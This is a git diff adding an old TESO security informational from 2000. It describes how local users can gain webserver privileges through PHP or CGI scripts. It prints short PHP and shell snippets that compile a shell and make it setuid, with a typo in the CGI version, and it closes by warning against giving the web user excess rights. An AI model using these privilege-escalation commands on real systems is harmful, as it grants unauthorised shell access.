summaryrefslogtreecommitdiff
path: root/informationals/teso-i0007.txt
diff options
context:
space:
mode:
Diffstat (limited to 'informationals/teso-i0007.txt')
-rw-r--r--informationals/teso-i0007.txt48
1 files changed, 48 insertions, 0 deletions
diff --git a/informationals/teso-i0007.txt b/informationals/teso-i0007.txt
new file mode 100644
index 0000000..8304c03
--- /dev/null
+++ b/informationals/teso-i0007.txt
@@ -0,0 +1,48 @@
10007 2000/01/23 Conceptual bug in PHP and also in CGI modules
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Bug in scripting modules for web servers
8Date .................: 2000/01/23 18:19
9Author ...............: hendy
10Publicity level ......: well known
11Affected .............: Unix http servers (maybe others)
12Type of entity .......: CGI+PHP
13Severity/Importance ..: low but interesting
14Found by .............: hendy
15
16Information ===================================================================
17
18If your httpd supports PHP and/or CGI scripts, and you allow users to use
19these, those scripts are run as the user/group the webserver runs as. Though
20this is mostly not user root, it can have impact if you have an own group.
21For example you allow group 'foo' to modify webserver configuration or the
22webserver needs access on some files (for example chat scripts, or messaging
23services via PHP/CGI). Every user with access on this machine can easily get
24access to this with little knowledge of scripting:
25
26(in PHP)
27
28<?
29 system("gcc ~user/shell.c -o /tmp/webshell");
30 system("chmod 4755 /tmp/webshell");
31?>
32
33Of course you have to let the webserver read ~/shell.c and shell.c does
34something like setuid(webserver); setgid(webgid); system("/bin/sh");
35
36If CGI scripts are supported its even more easy.
37
38#!/bin/sh
39gcc -o ~user/shell.c -o /tmp/webshell
40chmod 4755 /tmp/webshell
41
42Of course, this is only one possible idea of getting webservers privileges, but
43since this exploitation is possible on every standard Linux distribution, it
44should get somehow known, that giving the webuser more rights than it really
45needs, can be dangerous.
46
47==================================================================================
48